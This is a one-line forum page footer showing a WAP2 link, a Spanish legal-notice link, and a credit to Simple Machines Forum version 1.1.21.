WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines